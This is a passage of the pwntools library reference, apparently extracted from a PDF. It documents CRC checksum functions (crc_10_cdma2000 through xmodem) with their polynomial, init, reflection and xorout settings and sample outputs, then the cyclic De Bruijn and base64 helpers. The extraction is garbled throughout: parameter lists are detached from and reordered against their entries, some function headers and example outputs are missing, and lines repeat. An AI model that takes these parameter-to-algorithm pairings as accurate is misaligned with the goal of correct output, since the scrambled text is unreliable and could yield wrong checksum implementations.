pwnlib.util.crc.crc_10_cdma2000(data) \rightarrow int
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

Calculates the crc_10_cdma2000 checksum.

•polynom = 0x3d9

```
•width = 10
•init = 0x3ff
•refin = False
•refout = False
•xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_10_cdma2000('123456789')
      563
pwnlib.util.crc.crc_11 (data) \rightarrow int
     Calculates the crc_11 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x385
          •width = 11
          •init = 0x1a
          •refin = False
          •refout = False
          •xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11

Parameters data (str) – The data to checksum.

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_11('123456789')
      1443
pwnlib.util.crc.crc_12_3gpp (data) \rightarrow int
      Calculates the crc_12_3gpp checksum.
      This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x80f
          •width = 12
          •init = 0x0
          •refin = False
          •refout = True
          •xorout = 0x0
      See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12
```

```
>>> print crc_12_3gpp('123456789')
pwnlib.util.crc.crc 12 cdma2000 (data) \rightarrow int
     Calculates the crc_12_cdma2000 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0xf13
          •width = 12
          •init = 0xfff
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-cdma2000
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_12_cdma2000('123456789')
      3405
pwnlib.util.crc.crc_12_dect (data) \rightarrow int
     Calculates the crc_12_dect checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x80f
          •width = 12
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_12_dect('123456789')
     3931
pwnlib.util.crc.crc_13_bbc(data) \rightarrow int
```

```
2.24. pwnlib.util.crc — Calculating CRC-sums
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

Calculates the crc_13_bbc checksum.

•polynom = 0x1cf5

```
width = 13
init = 0x0
refin = False
refout = False
xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_13_bbc('123456789')
1274

pwnlib.util.crc.crc_14_darc(data) → int
   Calculates the crc_14_darc checksum.

This is simply the generic_crc() with these frozen arguments:

   •polynom = 0x805

•width = 14

•init = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14

Parameters data (str) – The data to checksum.

Parameters data (str) – The data to checksum.

Example

•refin = True •refout = True •xorout = 0x0

```
>>> print crc_14_darc('123456789')
2093

pwnlib.util.crc.crc_15 (data) → int
Calculates the crc_15 checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0x4599

•width = 15

•init = 0x0

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15
```

```
>>> print crc_15('123456789')
pwnlib.util.crc.crc 15 mpt1327 (data) \rightarrow int
     Calculates the crc_15_mpt1327 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x6815
          •width = 15
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0x1
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_15_mpt1327('123456789')
      9574
pwnlib.util.crc.crc_16_aug_ccitt(data) \rightarrow int
     Calculates the crc_16_aug_ccitt checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1021
          •width = 16
          \bulletinit = 0x1d0f
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_aug_ccitt('123456789')
     58828
```

```
pwnlib.util.crc.crc_16_buypass (data) \rightarrow int Calculates the crc_16_buypass checksum.
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x8005
```

```
•width = 16
•init = 0x0
•refin = False
•refout = False
```

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_16_buypass('123456789')
65256

pwnlib.util.crc.crc_16_ccitt_false(data) → int
Calculates the crc_16_ccitt_false checksum.
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
    polynom = 0x1021
    width = 16
    init = 0xffff
    refin = False
    refout = False
    xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_16_ccitt_false('123456789')
10673

pwnlib.util.crc.crc_16_cdma2000 (data) → int
Calculates the crc_16_cdma2000 checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0xc867
```

```
width = 16
init = 0xffff
refin = False
refout = False
xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000

```
>>> print crc_16_cdma2000('123456789')
pwnlib.util.crc.crc 16 dds 110 (data) \rightarrow int
     Calculates the crc_16_dds_110 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x8005
          •width = 16
          \bulletinit = 0x800d
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_dds_110('123456789')
     40655
pwnlib.util.crc.crc_16_dect_r(data) \rightarrow int
     Calculates the crc_16_dect_r checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x589
          •width = 16
          \bulletinit = 0x0
          •refin = False
          •refout = False
          •xorout = 0x1
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_dect_r('123456789')
     126
pwnlib.util.crc.crc_16_dect_\mathbf{x} (data) \rightarrow int
```

This is simply the generic_crc() with these frozen arguments:

Calculates the crc_16_dect_x checksum.

•polynom = 0x589

```
•width = 16
•init = 0x0
•refin = False
•refout = False
```

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x

Parameters data (str) – The data to checksum.

Example

```
print crc_16_dect_x('123456789')
127

pwnlib.util.crc.crc_16_dnp (data) → int
Calculates the crc_16_dnp checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0x3d65
•width = 16
```

•refin = True

•init = 0x0

 \bullet refout = True

•xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp

Parameters data (str) – The data to checksum.

Example

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757

```
>>> print crc_16_en_13757('123456789')
pwnlib.util.crc.crc 16 genibus (data) \rightarrow int
     Calculates the crc_16_genibus checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1021
          •width = 16
          •init = 0xffff
          •refin = False
          •refout = False
          •xorout = 0xffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_genibus('123456789')
      54862
pwnlib.util.crc.crc_16_maxim(data) \rightarrow int
     Calculates the crc_16_maxim checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x8005
          •width = 16
          \bulletinit = 0x0
          •refin = True
          •refout = True
          •xorout = 0xffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_maxim('123456789')
```

```
•width = 16
•init = 0xffff
•refin = True
•refout = True
```

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx

Parameters data (str) – The data to checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

Example

```
>>> print crc_16_mcrf4xx('123456789')
28561

pwnlib.util.crc.crc_16_riello(data) -> int
Calculates the crc_16_riello checksum.
```

```
•polynom = 0x1021
```

•width = 16

•init = 0xb2aa

•refin = True

•refout = True

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_16_riello('123456789')
25552
```

```
pwnlib.util.crc.crc_16_t10_dif (data) \rightarrow int Calculates the crc_16_t10_dif checksum.
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x8bb7
```

•width = 16

•init = 0x0

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif

```
>>> print crc_16_t10_dif('123456789')
pwnlib.util.crc.crc 16 teledisk (data) \rightarrow int
     Calculates the crc_16_teledisk checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0xa097
          •width = 16
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_teledisk('123456789')
      4019
pwnlib.util.crc.crc_16_tms37157 (data) \rightarrow int
     Calculates the crc_16_tms37157 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1021
          •width = 16
          \bulletinit = 0x89ec
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_16_tms37157('123456789')
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

pwnlib.util.crc.crc_16_usb (data) \rightarrow int Calculates the crc_16_usb checksum.

•polynom = 0x8005

9905

```
•width = 16
•init = 0xffff
•refin = True
•refout = True
```

•xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_16_usb('123456789')
46280

pwnlib.util.crc.crc_24 (data) → int
Calculates the crc_24 checksum.

This is simply the generic_crc() with these frozen arguments:
```

```
polynom = 0x864cfbwidth = 24init = 0xb704ce
```

•refin = False

 \bullet refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_24('123456789')
2215682

pwnlib.util.crc.crc_24_flexray_a (data) → int
Calculates the crc_24_flexray_a checksum.

This is simply the generic_crc() with these frozen arguments:
```

```
•polynom = 0x5d6dcb
•width = 24
•init = 0xfedcba
•refin = False
•refout = False
•xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a

```
>>> print crc_24_flexray_a('123456789')
     7961021
pwnlib.util.crc.crc 24 flexray b(data) \rightarrow int
     Calculates the crc_24_flexray_b checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x5d6dcb
          •width = 24
          •init = 0xabcdef
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_24_flexray_b('123456789')
     2040760
pwnlib.util.crc.crc_31_philips (data) \rightarrow int
     Calculates the crc_31_philips checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x4c11db7
          •width = 31
          •init = 0x7fffffff
          •refin = False
          •refout = False
          •xorout = 0x7fffffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_31_philips('123456789')
     216654956
```

```
2.24. pwnlib.util.crc — Calculating CRC-sums
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

pwnlib.util.crc.**crc_32** (data) \rightarrow int Calculates the crc 32 checksum.

•polynom = 0x4c11db7

```
width = 32
init = 0xffffffff
refin = True
refout = True
xorout = 0xffffffff
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_32('123456789')
3421780262

pwnlib.util.crc.crc_32_bzip2(data) \rightarrow int
Calculates the crc_32_bzip2 checksum.

This is simply the generic_crc() with these frozen arguments:
```

```
    polynom = 0x4c11db7
    width = 32
    init = 0xffffffff
    refin = False
    refout = False
    xorout = 0xffffffff
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2

Parameters data (str) – The data to checksum.

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_32_bzip2('123456789')
4236843288

pwnlib.util.crc.crc_32_mpeg_2 (data) → int
Calculates the crc_32_mpeg_2 checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0x4c11db7

•width = 32

•init = 0xffffffff

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2
```

```
>>> print crc_32_mpeg_2('123456789')
     58124007
pwnlib.util.crc.crc 32 posix(data) \rightarrow int
     Calculates the crc_32_posix checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x4c11db7
          •width = 32
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0xffffffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_32_posix('123456789')
     1985902208
pwnlib.util.crc.crc_32c(data) \rightarrow int
     Calculates the crc_32c checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1edc6f41
          •width = 32
          •init = 0xffffffff
          •refin = True
          •refout = True
          •xorout = 0xffffffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_32c('123456789')
     3808858755
pwnlib.util.crc.crc_32d(data) \rightarrow int
```

```
2.24. pwnlib.util.crc — Calculating CRC-sums
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

Calculates the crc 32d checksum.

•polynom = 0xa833982b

```
•width = 32
•init = 0xffffffff
•refin = True
•refout = True
•xorout = 0xffffffff
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_32d('123456789')
     2268157302
pwnlib.util.crc.crc_32q(data) \rightarrow int
     Calculates the crc_32q checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x814141ab
          •width = 32
          •init = 0x0
          •refin = False
          •refout = False
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q

Parameters data (str) – The data to checksum.

•xorout = 0x0

```
Example
     >>> print crc_32q('123456789')
     806403967
pwnlib.util.crc.crc_3_rohc(data) \rightarrow int
     Calculates the crc_3_rohc checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x3
          •width = 3
          •init = 0x7
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3
```

```
>>> print crc_3_rohc('123456789')
pwnlib.util.crc.crc 40 qsm(data) \rightarrow int
     Calculates the crc_40_gsm checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x4820009
          •width = 40
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0xfffffffff
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_40_gsm('123456789')
      910907393606
pwnlib.util.crc.crc_4_itu(data) \rightarrow int
     Calculates the crc_4_itu checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x3
          •width = 4
          \bulletinit = 0x0
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_4_itu('123456789')
pwnlib.util.crc.crc_5_epc(data) \rightarrow int
     Calculates the crc_5_epc checksum.
```

•polynom = 0x9

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•width = 5

•init = 0x9

•refin = False

•refout = False

•xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5

Parameters data (str) – The data to checksum.

Example

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_5_usb('123456789')
pwnlib.util.crc.crc 64 (data) \rightarrow int
     Calculates the crc_64 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
         •polynom = 0x42f0e1eba9ea3693
         •width = 64
         •init = 0x0
         •refin = False
         •refout = False
         •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64
          Parameters data (str) – The data to checksum.
     Example
     >>> print crc_64('123456789')
     7800480153909949255
pwnlib.util.crc.crc_64_we(data) \rightarrow int
     Calculates the crc_64_we checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
         •polynom = 0x42f0e1eba9ea3693
         •width = 64
         •refin = False
         •refout = False
         See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we
          Parameters data (str) – The data to checksum.
     Example
     >>> print crc_64_we('123456789')
     7128171145767219210
```

```
2.24. pwnlib.util.crc — Calculating CRC-sums
```

•polynom = 0x42f0e1eba9ea3693

This is simply the <code>generic_crc()</code> with these frozen arguments:

pwnlib.util.crc.crc_64_xz (data) \rightarrow int Calculates the crc_64_xz checksum.

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_64_xz('123456789')
11051210869376104954
```

```
pwnlib.util.crc.crc_6_cdma2000_a (\mathit{data}) \to int
```

Calculates the crc_6_cdma2000_a checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x27
```

•width = 6

•init = 0x3f

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_a('123456789')
13
```

```
\texttt{pwnlib.util.crc.crc\_6\_cdma2000\_b}\,(\textit{data})\,\rightarrow int
```

Calculates the crc_6_cdma2000_b checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x7
```

•width = 6

•init = 0x3f

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b

```
>>> print crc_6_cdma2000_b('123456789')
pwnlib.util.crc.crc 6 darc(data) \rightarrow int
     Calculates the crc_6_darc checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x19
          •width = 6
          •init = 0x0
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_6_darc('123456789')
      38
pwnlib.util.crc.crc_6_itu(data) \rightarrow int
     Calculates the crc_6_itu checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x3
          •width = 6
          \bulletinit = 0x0
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_6_itu('123456789')
```

```
•polynom = 0x9
```

pwnlib.util.crc.crc_7 (data) \rightarrow int Calculates the crc_7 checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•width = 7

•init = 0x0

•refin = False

•refout = False

•xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7

Parameters data (str) – The data to checksum.

Example

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_7_rohc('123456789')

83

pwnlib.util.crc.crc_8 (data) → int
Calculates the crc_8 checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0x7

•width = 8

•init = 0x0

•refin = False

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8
```

```
>>> print crc_8('123456789')
pwnlib.util.crc.crc 82 darc(data) \rightarrow int
     Calculates the crc_82_darc checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          -polynom = 0x308c0111011401440411
          •width = 82
          •init = 0x0
          •refin = True
          •refout = True
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_82_darc('123456789')
     749237524598872659187218
pwnlib.util.crc.crc_8_cdma2000(data) \rightarrow int
     Calculates the crc_8_cdma2000 checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x9b
          •width = 8
          •init = 0xff
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_8_cdma2000('123456789')
```

```
>>> print crc_8_cdma2000('123456789')
218

pwnlib.util.crc.crc_8_darc(data) → int
   Calculates the crc_8_darc checksum.

This is simply the generic_crc() with these frozen arguments:
   •polynom = 0x39
```

```
•width = 8

•init = 0x0

•refin = True

•refout = True

•xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_8_darc('123456789')
21

pwnlib.util.crc.crc_8_dvb_s2 (data) → int
    Calculates the crc_8_dvb_s2 checksum.

This is simply the generic_crc() with these frozen arguments:
```

```
polynom = 0xd5
width = 8
init = 0x0
refin = False
```

•refout = False

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2

Parameters data (str) – The data to checksum.

Example

```
>>> print crc_8_dvb_s2('123456789')
188

pwnlib.util.crc.crc_8_ebu(data) → int
Calculates the crc_8_ebu checksum.
This is simply the generic_crc() with these frozen arguments:
```

```
*polynom = 0x1d
*width = 8
*init = 0xff
*refin = True
*refout = True
*xorout = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu

Parameters data (str) – The data to checksum.

```
>>> print crc_8_ebu('123456789')
pwnlib.util.crc.crc 8 i code (data) \rightarrow int
     Calculates the crc_8_i_code checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1d
          •width = 8
          •init = 0xfd
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_8_i_code('123456789')
     126
pwnlib.util.crc.crc_8_itu(data) \rightarrow int
     Calculates the crc_8_itu checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x7
          •width = 8
          \bulletinit = 0x0
          •refin = False
          •refout = False
          •xorout = 0x55
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu
           Parameters data (str) – The data to checksum.
     Example
     >>> print crc_8_itu('123456789')
     161
pwnlib.util.crc.crc_8_maxim(data) \rightarrow int
```

```
2.24. pwnlib.util.crc — Calculating CRC-sums
```

This is simply the <code>generic_crc()</code> with these frozen arguments:

Calculates the crc_8_maxim checksum.

•polynom = 0x31

```
•width = 8
•init = 0x0
•refin = True
•refout = True
```

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim

Parameters data (str) – The data to checksum.

Example

•init = 0xff •refin = True •refout = True

•xorout = 0x0

•width = 8

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc

Parameters data (str) – The data to checksum.

Example

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wdcma

Parameters data (str) – The data to checksum.

```
>>> print crc_8_wcdma('123456789')
pwnlib.util.crc.crc \mathbf{a}(data) \rightarrow \mathrm{int}
      Calculates the crc_a checksum.
      This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1021
          •width = 16
          •init = 0xc6c6
          •refin = True
          •refout = True
          •xorout = 0x0
      See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a
           Parameters data (str) – The data to checksum.
      Example
      >>> print crc_a('123456789')
      48901
pwnlib.util.crc.jamcrc(data) \rightarrow int
      Calculates the jamere checksum.
      This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x4c11db7
          •width = 32
          •init = 0xffffffff
          •refin = True
          •refout = True
          •xorout = 0x0
      See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc
           Parameters data (str) – The data to checksum.
```

Example

```
>>> print jamcrc('123456789')
873187033

pwnlib.util.crc.kermit (data) → int
Calculates the kermit checksum.

This is simply the generic_crc() with these frozen arguments:

•polynom = 0x1021
```

```
•width = 16
•init = 0x0
•refin = True
•refout = True
```

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit

Parameters data (str) – The data to checksum.

Example

```
>>> print kermit('123456789')
     8585
pwnlib.util.crc.modbus (data) \rightarrow int
```

Calculates the modbus checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x8005
•width = 16
```

•init = 0xffff

•refin = True

•refout = True

•xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus

Parameters data (str) – The data to checksum.

Example

```
>>> print modbus('123456789')
19255
```

```
pwnlib.util.crc.x_25 (data) \rightarrow int
```

Calculates the x_25 checksum.

This is simply the <code>generic_crc()</code> with these frozen arguments:

```
•polynom = 0x1021
```

•width = 16

•init = 0xffff

•refin = True

•refout = True

•xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25

Parameters data (str) – The data to checksum.

```
>>> print x_25('123456789')
      36974
pwnlib.util.crc.xfer(data) \rightarrow int
     Calculates the xfer checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0xaf
          •width = 32
          •init = 0x0
          •refin = False
          •refout = False
          •xorout = 0x0
     See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer
           Parameters data (str) – The data to checksum.
     Example
     >>> print xfer('123456789')
     3171672888
pwnlib.util.crc.xmodem(data) \rightarrow int
     Calculates the xmodem checksum.
     This is simply the <code>generic_crc()</code> with these frozen arguments:
          •polynom = 0x1021
          •width = 16
          •init = 0x0
```

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem

Parameters data (str) – The data to checksum.

Example

refin = Falserefout = Falsexorout = 0x0

```
>>> print xmodem('123456789')
12739
```

2.25 pwnlib.util.cyclic — Generation of unique sequences

pwnlib.util.cyclic.cyclic (length = None, $alphabet = string.ascii_lowercase$, n = 4) \rightarrow list/str A simple wrapper over de_bruijn (). This function returns a at most length elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- length The desired length of the list or None if the entire sequence is desired.
- **alphabet** List or string to generate the sequence over.
- **n** (*int*) The length of subsequences that should be unique.

Example

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

pwnlib.util.cyclic.cyclic_find (subseq, $alphabet = string.ascii_lowercase$, n = None) \rightarrow int Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **subseq** The subsequence to look for. This can either be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
- **alphabet** List or string to generate the sequence over.
- **n** (*int*) The length of subsequences that should be unique.

Examples

```
>>> cyclic_find(cyclic(1000)[514:518])
514
>>> cyclic_find(0x61616162)
4
```

pwnlib.util.cyclic.de_bruijn (alphabet = string.ascii_lowercase, n = 4) \rightarrow generator Generator for a sequence of unique substrings of length n. This is implemented using a De Bruijn Sequence over the given alphabet.

The returned generator will yield up to len (alphabet) **n elements.

- **alphabet** List or string to generate the sequence over.
- **n** (*int*) The length of subsequences that should be unique.

2.26 pwnlib.util.fiddling — Utilities bit fiddling

pwnlib.util.fiddling. $\mathbf{b64d}(s) \to \mathrm{str}$ Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
'test'
```

pwnlib.util.fiddling.b64e(s) \rightarrow str Base64 encodes a string

Example

```
>>> b64e("test")
'dGVzdA=='
```

